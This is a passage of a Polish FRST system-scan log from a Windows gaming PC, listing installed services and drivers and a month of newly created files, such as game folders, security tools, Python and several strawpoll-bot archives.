(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R2 AnyDesk; C:\Program Files (x86)\AnyDesk\AnyDesk.exe [3189712 2020-06-23] (philandro Software GmbH -> philandro Software GmbH)
S3 BEService; C:\Program Files (x86)\Common Files\BattlEye\BEService.exe [8646752 2020-07-31] (BattlEye Innovations e.K. -> )
R2 ekrn; C:\Program Files\ESET\ESET Security\ekrn.exe [2371760 2020-07-23] (ESET, spol. s r.o. -> ESET)
R3 ekrnEpfw; C:\Program Files\ESET\ESET Security\ekrn.exe [2371760 2020-07-23] (ESET, spol. s r.o. -> ESET)
S3 FACEITService; C:\Program Files\FACEIT AC\faceitservice.exe [20755808 2020-04-15] (FACE IT LIMITED -> )
R2 GameInput; C:\Program Files (x86)\Microsoft GameInput\x64\gameinputsvc.exe [37808 2020-07-12] (Microsoft Corporation -> Microsoft Corporation)
R2 GamingServices; C:\Program Files\WindowsApps\Microsoft.GamingServices_2.43.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe [46000 2020-08-02] (Microsoft Corporation -> Microsoft Corporation)
R2 GamingServicesNet; C:\Program Files\WindowsApps\Microsoft.GamingServices_2.43.13001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe [46000 2020-08-02] (Microsoft Corporation -> Microsoft Corporation)
R2 Intel(R) PROSet Monitoring Service; C:\Windows\system32\IProsetMonitor.exe [574496 2019-12-12] (ND_Apps -> Intel Corporation)
R2 LogiFacecamService; C:\Program Files\Logitech\LogiCapture\bin\Service\LogiFacecamService.exe [446600 2020-01-08] (Logitech Inc -> Logitech)
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe [6970968 2020-08-02] (Malwarebytes Inc -> Malwarebytes)
R2 NahimicService; C:\Windows\system32\NahimicService.exe [2692512 2020-06-19] (A-Volute -> Nahimic)
R2 Razer Chroma SDK Server; C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKServer.exe [981592 2020-07-23] (Razer USA Ltd. -> Razer Inc.)
R2 Razer Chroma SDK Service; C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe [284760 2020-07-23] (Razer USA Ltd. -> Razer Inc.)
R2 Razer Game Manager Service; C:\Program Files (x86)\Razer\Razer Services\GMS\GameManagerService.exe [253776 2020-06-24] (Razer USA Ltd. -> Razer Inc)
R2 Razer Synapse Service; C:\Program Files (x86)\Razer\Synapse3\Service\Razer Synapse Service.exe [294128 2020-07-23] (Razer USA Ltd. -> Razer Inc.)
S3 Rockstar Service; C:\Program Files\Rockstar Games\Launcher\RockstarService.exe [1705088 2020-05-15] (Rockstar Games, Inc. -> Rockstar Games)
R2 RzActionSvc; C:\Program Files (x86)\Razer\Razer Services\Razer Central\RazerCentralService.exe [532864 2020-06-06] (Razer USA Ltd. -> Razer Inc.)
S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [5930136 2020-05-03] (Microsoft Windows Publisher -> Microsoft Corporation)
S3 WdNisSvc; C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2006.10-0\NisSrv.exe [2496144 2020-07-02] (Microsoft Windows Publisher -> Microsoft Corporation)
S3 WinDefend; C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2006.10-0\MsMpEng.exe [104192 2020-07-02] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 NVDisplay.ContainerLocalSystem; C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_edab19158bdd0d0a\Display.NvContainer\NVDisplay.Container.exe -s NVDisplay.ContainerLocalSystem -f %ProgramData%\NVIDIA\NVDisplay.ContainerLocalSystem.log -l 3 -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_edab19158bdd0d0a\Display.NvContainer\plugins\LocalSystem -r -p 30000 -cfg NVDisplay.ContainerLocalSystem\LocalSystem

===================== Sterowniki (filtrowane) ===================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R1 eamonm; C:\Windows\System32\DRIVERS\eamonm.sys [159528 2020-07-23] (ESET, spol. s r.o. -> ESET)
S0 eelam; C:\Windows\System32\DRIVERS\eelam.sys [15800 2020-07-23] (Microsoft Windows Early Launch Anti-malware Publisher -> ESET)
R1 ehdrv; C:\Windows\system32\DRIVERS\ehdrv.sys [195456 2020-07-23] (ESET, spol. s r.o. -> ESET)
R1 epfwwfp; C:\Windows\system32\DRIVERS\epfwwfp.sys [116488 2020-07-23] (ESET, spol. s r.o. -> ESET)
R1 ESProtectionDriver; C:\Windows\system32\drivers\mbae64.sys [153312 2020-08-02] (Malwarebytes Corporation -> Malwarebytes)
R0 FACEIT; C:\Windows\System32\Drivers\FACEIT.sys [10123128 2020-06-25] (FACE IT LIMITED -> )
R3 gameflt; C:\Windows\System32\DriverStore\FileRepository\gameflt.inf_amd64_ad5ce1f12ff43d18\gameflt.sys [71528 2020-07-06] (Microsoft Windows -> Microsoft Corporation)
S3 Larmkanal; C:\Windows\System32\drivers\Larmkanal.sys [33112 2015-09-02] (ADORIASOFT LLC -> Adoriasoft LLC)
S3 logi_joy_bus_enum; C:\Windows\system32\drivers\logi_joy_bus_enum.sys [38136 2020-06-14] (Logitech Inc -> Logitech)
S3 logi_joy_vir_hid; C:\Windows\system32\drivers\logi_joy_vir_hid.sys [26672 2020-06-14] (Logitech Inc -> Logitech)
S3 logi_joy_xlcore; C:\Windows\system32\drivers\logi_joy_xlcore.sys [66808 2020-06-14] (Logitech Inc -> Logitech)
R2 MBAMChameleon; C:\Windows\System32\Drivers\MbamChameleon.sys [216056 2020-08-02] (Malwarebytes Inc -> Malwarebytes)
S0 MbamElam; C:\Windows\System32\DRIVERS\MbamElam.sys [19912 2020-08-02] (Microsoft Windows Early Launch Anti-malware Publisher -> Malwarebytes)
R3 MBAMFarflt; C:\Windows\System32\DRIVERS\farflt.sys [197264 2020-08-07] (Malwarebytes Inc -> Malwarebytes)
R3 MBAMProtection; C:\Windows\system32\DRIVERS\mbam.sys [73368 2020-08-07] (Malwarebytes Inc -> Malwarebytes)
R3 MBAMSwissArmy; C:\Windows\System32\Drivers\mbamswissarmy.sys [248968 2020-08-02] (Malwarebytes Inc -> Malwarebytes)
R3 MBAMWebProtection; C:\Windows\system32\DRIVERS\mwac.sys [131232 2020-08-07] (Malwarebytes Inc -> Malwarebytes)
R3 Nahimic_Mirroring; C:\Windows\System32\drivers\Nahimic_Mirroring.sys [85592 2020-01-17] (A-Volute -> Windows (R) Win 7 DDK provider)
S3 NAL; C:\Windows\system32\Drivers\iqvw64e.sys [58304 2019-05-22] (ND_QV -> Intel Corporation)
R1 npcap; C:\Windows\system32\DRIVERS\npcap.sys [81680 2020-05-02] (Insecure.Com LLC -> Insecure.Com LLC.)
R3 Phosgene; C:\Windows\system32\DRIVERS\Phosgene.sys [34136 2015-09-02] (ADORIASOFT LLC -> Adoriasoft LLC)
R3 RzCommon; C:\Windows\System32\drivers\RzCommon.sys [51776 2020-02-17] (Razer USA Ltd. -> Razer Inc)
R3 RzDev_006c; C:\Windows\System32\drivers\RzDev_006c.sys [52288 2020-02-17] (Razer USA Ltd. -> Razer Inc)
R3 RzDev_0203; C:\Windows\System32\drivers\RzDev_0203.sys [52288 2020-02-17] (Razer USA Ltd. -> Razer Inc)
R3 RzDev_0306; C:\Windows\System32\drivers\RzDev_0306.sys [52504 2020-02-17] (Razer USA Ltd. -> Razer Inc)
R3 RzDev_0C00; C:\Windows\System32\drivers\RzDev_0C00.sys [52496 2020-02-17] (Razer USA Ltd. -> Razer Inc)
R0 secnvme; C:\Windows\System32\drivers\secnvme.sys [133944 2020-01-20] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd)
S3 SnapCameraVirtualDevice; C:\Windows\System32\drivers\SnapCameraVirtualDevice.sys [2800232 2020-03-21] (Snap Inc. -> Windows (R) Win 7 DDK provider)
S3 tapnordvpn; C:\Windows\System32\drivers\tapnordvpn.sys [44896 2020-06-09] (TEFINCOM S.A. -> The OpenVPN Project)
S3 tapprotonvpn; C:\Windows\System32\drivers\tapprotonvpn.sys [44976 2020-01-15] (Microsoft Windows Hardware Compatibility Publisher -> The OpenVPN Project)
R3 VBAudioVACMME; C:\Windows\System32\drivers\vbaudio_cable64_win7.sys [41192 2020-04-13] (Vincent Burel -> Windows (R) Win 7 DDK provider)
S3 WdBoot; C:\Windows\system32\drivers\wd\WdBoot.sys [45976 2020-07-02] (Microsoft Windows Early Launch Anti-malware Publisher -> Microsoft Corporation)
S3 WdFilter; C:\Windows\system32\drivers\wd\WdFilter.sys [408816 2020-07-02] (Microsoft Windows -> Microsoft Corporation)
S3 WdNisDrv; C:\Windows\System32\drivers\wd\WdNisDrv.sys [64224 2020-07-02] (Microsoft Windows -> Microsoft Corporation)
R3 Xvdd; C:\Windows\System32\DriverStore\FileRepository\xvdd.inf_amd64_276a87e8580345f1\xvdd.sys [510824 2020-08-02] (Microsoft Windows -> Microsoft Corporation)
S3 7ByteIo; \??\C:\Program Files (x86)\Hot CPU Tester Pro 4 LE\SysInfoX64.sys [X]
U3 iswSvc; Brak ImagePath
U4 npcap_wifi; Brak ImagePath

==================== NetSvcs (filtrowane) ===================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)


==================== Jeden miesiąc (utworzone) ===================

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2020-08-07 01:01 - 2020-08-07 01:01 - 000197264 _____ (Malwarebytes) C:\Windows\system32\Drivers\farflt.sys
2020-08-07 01:01 - 2020-08-07 01:01 - 000131232 _____ (Malwarebytes) C:\Windows\system32\Drivers\mwac.sys
2020-08-07 01:01 - 2020-08-07 01:01 - 000073368 _____ (Malwarebytes) C:\Windows\system32\Drivers\mbam.sys
2020-08-07 01:01 - 2020-08-07 01:01 - 000000000 ____D C:\Users\Oliwer\AppData\LocalLow\IGDump
2020-08-07 00:54 - 2020-08-07 00:55 - 000073983 _____ C:\Users\Oliwer\Downloads\Addition.txt
2020-08-07 00:53 - 2020-08-07 01:09 - 000032978 _____ C:\Users\Oliwer\Downloads\FRST.txt
2020-08-07 00:53 - 2020-08-07 01:08 - 000000000 ____D C:\FRST
2020-08-07 00:53 - 2020-08-07 00:53 - 002296320 _____ (Farbar) C:\Users\Oliwer\Downloads\FRST64.exe
2020-08-06 12:46 - 2020-08-06 12:46 - 000000555 _____ C:\Users\Oliwer\Downloads\api (1).php
2020-08-06 12:46 - 2020-08-06 12:46 - 000000555 _____ C:\Users\Oliwer\Desktop\api (1).php
2020-08-06 12:33 - 2020-08-06 12:33 - 000000424 _____ C:\Users\Oliwer\Downloads\api.php
2020-08-06 12:33 - 2020-08-06 12:33 - 000000424 _____ C:\Users\Oliwer\Desktop\api.php
2020-08-06 11:30 - 2020-08-06 11:30 - 000000000 ____D C:\Users\Oliwer\AppData\LocalLow\Oracle
2020-08-06 11:24 - 2020-08-06 11:24 - 000000000 ____D C:\Program Files (x86)\Microsoft GameInput
2020-08-05 21:49 - 2020-08-05 21:49 - 000000000 ____D C:\Program Files (x86)\Windows Kits
2020-08-04 22:41 - 2020-08-04 22:55 - 000000000 ____D C:\Users\Oliwer\Desktop\strawpoll-bot
2020-08-04 22:41 - 2020-08-04 22:41 - 000037227 _____ C:\Users\Oliwer\Downloads\strawpoll-bot-master (2).zip
2020-08-04 22:38 - 2020-08-04 22:38 - 000008284 _____ C:\Users\Oliwer\Downloads\Strawpoll-Voting-Bot-master (1).zip
2020-08-04 22:35 - 2020-08-04 22:35 - 000000000 ____D C:\Users\Oliwer\AppData\Local\pip
2020-08-04 22:32 - 2020-08-04 22:32 - 000022761 _____ C:\Users\Oliwer\Downloads\StrawPoll-vote-bot-master.zip
2020-08-04 22:29 - 2020-08-04 22:29 - 000003449 _____ C:\Users\Oliwer\Downloads\StrawpollVoteBot-master.zip
2020-08-04 22:23 - 2020-08-04 22:23 - 000007508 _____ C:\Users\Oliwer\Downloads\strawpoll-voting-bot-master.zip
2020-08-04 22:14 - 2020-08-04 22:14 - 000331243 _____ C:\Users\Oliwer\Downloads\StrawPoll-Bot-master (1).zip
2020-08-04 22:12 - 2020-08-04 22:12 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Python 3.8
2020-08-04 22:12 - 2020-08-04 22:12 - 000000000 ____D C:\Users\Oliwer\AppData\Local\Package Cache
2020-08-04 22:11 - 2020-08-04 22:11 - 026777232 _____ (Python Software Foundation) C:\Users\Oliwer\Downloads\python-3.8.5.exe
2020-08-04 22:08 - 2020-08-04 22:08 - 000037227 _____ C:\Users\Oliwer\Downloads\strawpoll-bot-master.zip
2020-08-03 19:00 - 2020-08-03 19:00 - 000000000 ____D C:\Users\Oliwer\Documents\Wastelands-Interactive
2020-08-03 19:00 - 2020-08-03 19:00 - 000000000 ____D C:\Users\Oliwer\AppData\LocalLow\Wastelands Interactive
2020-08-02 01:22 - 2020-08-02 01:22 - 000248968 _____ (Malwarebytes) C:\Windows\system32\Drivers\mbamswissarmy.sys
2020-08-02 01:22 - 2020-08-02 01:22 - 000216056 _____ (Malwarebytes) C:\Windows\system32\Drivers\MbamChameleon.sys
2020-08-02 01:22 - 2020-08-02 01:22 - 000002033 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes.lnk
2020-08-02 01:22 - 2020-08-02 01:22 - 000000000 ____D C:\Users\Oliwer\AppData\Local\mbam
2020-08-02 01:21 - 2020-08-02 01:21 - 002025944 _____ (Malwarebytes) C:\Users\Oliwer\Downloads\MBSetup.exe
2020-08-02 01:21 - 2020-08-02 01:21 - 002025944 _____ (Malwarebytes) C:\Users\Oliwer\Downloads\MBSetup (1).exe
2020-08-02 01:21 - 2020-08-02 01:21 - 000153312 _____ (Malwarebytes) C:\Windows\system32\Drivers\mbae64.sys
2020-08-02 01:21 - 2020-08-02 01:21 - 000019912 _____ (Malwarebytes) C:\Windows\system32\Drivers\MbamElam.sys
2020-08-02 01:21 - 2020-08-02 01:21 - 000000000 ____D C:\ProgramData\Malwarebytes
2020-08-02 01:21 - 2020-08-02 01:21 - 000000000 ____D C:\Program Files\Malwarebytes
2020-08-02 01:17 - 2020-08-02 01:25 - 000000000 ____D C:\ProgramData\SecTaskMan
2020-08-02 01:17 - 2020-08-02 01:17 - 003017632 _____ C:\Users\Oliwer\Downloads\SecurityTaskManager_Setup.exe
2020-08-01 19:13 - 2020-08-01 19:13 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ESET
2020-08-01 19:13 - 2020-08-01 19:13 - 000000000 ____D C:\ProgramData\ESET
2020-08-01 19:13 - 2020-08-01 19:13 - 000000000 ____D C:\Program Files\ESET
2020-08-01 11:08 - 2020-08-01 11:08 - 000000222 _____ C:\Users\Oliwer\Desktop\Cooking Simulator.url
2020-07-31 23:11 - 2020-07-31 23:11 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\Java
2020-07-31 22:27 - 2020-07-31 22:29 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\Bat To Exe Converter
2020-07-31 22:11 - 2020-07-31 22:11 - 000003618 _____ C:\Windows\system32\Tasks\CClaner optimize
2020-07-31 21:35 - 2020-08-01 13:01 - 000000000 ____D C:\Users\Oliwer\AppData\Local\Vivox
2020-07-31 19:23 - 2020-07-31 19:23 - 000000313 _____ C:\Users\Oliwer\Desktop\launcher.txt
2020-07-31 19:22 - 2020-07-31 19:22 - 000000000 ____D C:\Users\Oliwer\AppData\Local\BattlEye
2020-07-31 16:55 - 2020-07-31 22:29 - 000000947 _____ C:\Users\Oliwer\Desktop\start.bat
2020-07-31 12:13 - 2020-07-31 12:13 - 000005813 _____ C:\Users\Oliwer\AppData\Local\recently-used.xbel
2020-07-27 23:26 - 2020-07-27 23:46 - 000000000 ____D C:\Users\Oliwer\Documents\Trackmania
2020-07-27 23:26 - 2020-07-27 23:46 - 000000000 ____D C:\ProgramData\Trackmania
2020-07-25 22:03 - 2020-07-26 22:09 - 000000235 _____ C:\Users\Oliwer\Desktop\start_serwer.txt
2020-07-23 12:24 - 2020-07-23 12:24 - 000195456 _____ (ESET) C:\Windows\system32\Drivers\ehdrv.sys
2020-07-23 12:24 - 2020-07-23 12:24 - 000159528 _____ (ESET) C:\Windows\system32\Drivers\eamonm.sys
2020-07-23 12:24 - 2020-07-23 12:24 - 000116488 _____ (ESET) C:\Windows\system32\Drivers\epfwwfp.sys
2020-07-23 12:24 - 2020-07-23 12:24 - 000015800 _____ (ESET) C:\Windows\system32\Drivers\eelam.sys
2020-07-23 11:34 - 2020-07-23 11:34 - 000003834 _____ C:\Windows\system32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473
2020-07-23 07:08 - 2020-07-23 07:08 - 000223320 _____ (Razer Inc.) C:\Windows\system32\RzChromaSDK64.dll
2020-07-23 07:06 - 2020-07-23 07:06 - 000197720 _____ (Razer Inc.) C:\Windows\SysWOW64\RzChromaSDK.dll
2020-07-22 23:22 - 2020-07-22 23:22 - 000002678 _____ C:\Windows\system32\Tasks\USER_ESRV_SVC_QUEENCREEK
2020-07-22 14:47 - 2020-07-22 14:48 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\WhatsApp
2020-07-22 14:47 - 2020-07-22 14:48 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WhatsApp
2020-07-22 14:47 - 2020-07-22 14:48 - 000000000 ____D C:\Users\Oliwer\AppData\Local\WhatsApp
2020-07-22 11:32 - 2020-07-23 15:51 - 000000000 ____D C:\Users\Oliwer\Desktop\mondey
2020-07-20 22:31 - 2020-07-20 22:31 - 000000000 ____D C:\ProgramData\Ubisoft
2020-07-20 22:30 - 2020-08-01 12:50 - 000000000 ____D C:\Users\Oliwer\AppData\Local\Ubisoft Game Launcher
2020-07-20 22:30 - 2020-07-20 22:30 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Ubisoft
2020-07-20 22:30 - 2020-07-20 22:30 - 000000000 ____D C:\Program Files (x86)\Ubisoft
2020-07-20 21:08 - 2020-07-10 15:32 - 000038608 _____ (TEFINCOM S.A.) C:\Windows\system32\Drivers\nordlwf.sys
2020-07-20 16:03 - 2020-07-20 16:03 - 000921160 _____ (Python Software Foundation) C:\Windows\pyw.exe
2020-07-20 16:03 - 2020-07-20 16:03 - 000920648 _____ (Python Software Foundation) C:\Windows\py.exe
2020-07-20 16:03 - 2020-07-20 16:03 - 000059976 _____ (Python Software Foundation) C:\Windows\pyshellext.amd64.dll
2020-07-19 13:20 - 2020-07-19 13:29 - 000000250 _____ C:\Users\Oliwer\AppData\LocalLow\rbxcsettings.rbx
2020-07-19 13:20 - 2020-07-19 13:23 - 000000000 ____D C:\Users\Oliwer\AppData\Local\Roblox
2020-07-19 13:20 - 2020-07-19 13:20 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Roblox
2020-07-18 21:15 - 2020-07-18 21:15 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\Skype
2020-07-17 17:26 - 2020-08-01 11:08 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Steam
2020-07-16 12:47 - 2020-07-16 13:43 - 000000001 _____ C:\Windows\vgkbootstatus.dat
2020-07-16 12:45 - 2020-07-16 12:45 - 000000000 ____D C:\Users\Oliwer\AppData\Local\VALORANT
2020-07-15 23:50 - 2020-07-15 23:50 - 025902592 _____ (Microsoft Corporation) C:\Windows\system32\edgehtml.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 025444352 _____ (Microsoft Corporation) C:\Windows\system32\Hydrogen.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 022641664 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 019851776 _____ (Microsoft Corporation) C:\Windows\SysWOW64\edgehtml.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 019812864 _____ (Microsoft Corporation) C:\Windows\system32\HologramWorld.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 018031104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 017792512 _____ (Microsoft Corporation) C:\Windows\system32\Windows.UI.Xaml.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 014820352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.UI.Xaml.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 009931576 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 008015872 _____ (Microsoft Corporation) C:\Windows\system32\mstscax.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 007917408 _____ (Microsoft Corporation) C:\Windows\system32\windows.storage.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 007850288 _____ (Microsoft Corporation) C:\Windows\system32\OneCoreUAPCommonProxyStub.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 007823912 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 007604584 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.Protection.PlayReady.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 007297536 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Data.Pdf.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 007269376 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 007268640 _____ (Microsoft Corporation) C:\Windows\system32\shell32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 007012864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mstscax.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 006523856 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.Protection.PlayReady.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 006437376 _____ (Microsoft Corporation) C:\Windows\system32\twinui.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 006292992 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 006233080 _____ (Microsoft Corporation) C:\Windows\system32\StartTileData.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 006169088 _____ (Microsoft Corporation) C:\Windows\system32\twinui.pcshell.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 006089512 _____ (Microsoft Corporation) C:\Windows\SysWOW64\windows.storage.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 005946368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Data.Pdf.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 005765648 _____ (Microsoft Corporation) C:\Windows\SysWOW64\shell32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 005111808 _____ (Microsoft Corporation) C:\Windows\SysWOW64\twinui.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 005099384 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 004625192 _____ (Microsoft Corporation) C:\Windows\explorer.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 004565264 _____ (Microsoft Corporation) C:\Windows\system32\sppsvc.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 004129424 _____ (Microsoft Corporation) C:\Windows\system32\mfcore.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 004014592 _____ (Microsoft Corporation) C:\Windows\system32\Microsoft.Bluetooth.Service.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 003980800 _____ (Microsoft Corporation) C:\Windows\system32\tellib.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 003974368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\explorer.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 003800576 _____ (Microsoft Corporation) C:\Windows\system32\diagtrack.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 003748352 _____ (Microsoft Corporation) C:\Windows\system32\SettingsHandlers_nt.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 003743048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\OneCoreUAPCommonProxyStub.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 003727360 _____ (Microsoft Corporation) C:\Windows\system32\win32kfull.sys
2020-07-15 23:50 - 2020-07-15 23:50 - 003712000 _____ (Microsoft Corporation) C:\Windows\system32\AppXDeploymentServer.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 003084800 _____ (Microsoft Corporation) C:\Windows\system32\DWrite.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002799104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\win32kfull.sys
2020-07-15 23:50 - 2020-07-15 23:50 - 002768984 _____ (Microsoft Corporation) C:\Windows\system32\KernelBase.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002737664 _____ (Microsoft Corporation) C:\Windows\system32\WebRuntimeManager.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002716672 _____ (Microsoft Corporation) C:\Windows\system32\win32kbase.sys
2020-07-15 23:50 - 2020-07-15 23:50 - 002576896 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DWrite.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002552120 _____ (Microsoft Corporation) C:\Windows\system32\UpdateAgent.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002505496 _____ (Microsoft Corporation) C:\Windows\system32\twinapi.appcore.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002494744 _____ (Microsoft Corporation) C:\Windows\system32\msmpeg2vdec.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002467840 _____ (Microsoft Corporation) C:\Windows\system32\InstallService.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002448712 _____ (Microsoft Corporation) C:\Windows\system32\msxml6.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002357248 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.Perception.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002285056 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Graphics.Printing.3D.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002264064 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.Bluetooth.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002237096 _____ (Microsoft Corporation) C:\Windows\system32\Windows.ApplicationModel.Store.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002161664 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.PointOfService.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002087168 _____ (Microsoft Corporation) C:\Windows\SysWOW64\KernelBase.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002074112 _____ (Microsoft Corporation) C:\Windows\system32\ISM.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 002060288 _____ (Microsoft Corporation) C:\Windows\system32\cdprt.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001991592 _____ (Microsoft Corporation) C:\Windows\SysWOW64\twinapi.appcore.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001952880 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msxml6.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001946144 _____ (Microsoft Corporation) C:\Windows\system32\dcomp.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001918464 _____ (Microsoft Corporation) C:\Windows\system32\wevtsvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001885184 _____ (Microsoft Corporation) C:\Windows\system32\FntCache.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001877504 _____ (Microsoft Corporation) C:\Windows\system32\LocationFramework.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001827328 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.Speech.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001821696 _____ (Microsoft Corporation) C:\Windows\system32\CoreShell.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001787392 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Globalization.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001764336 _____ (Microsoft Corporation) C:\Windows\system32\WindowsCodecs.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001745728 _____ (Microsoft Corporation) C:\Windows\system32\ContentDeliveryManager.Utilities.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001743680 _____ (Microsoft Corporation) C:\Windows\system32\sppobjs.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001737728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\InstallService.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001723392 _____ (Microsoft Corporation) C:\Windows\system32\Wpc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001697792 _____ (Microsoft Corporation) C:\Windows\system32\GdiPlus.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001665728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\user32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001658368 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001656904 _____ (Microsoft Corporation) C:\Windows\system32\user32.dll
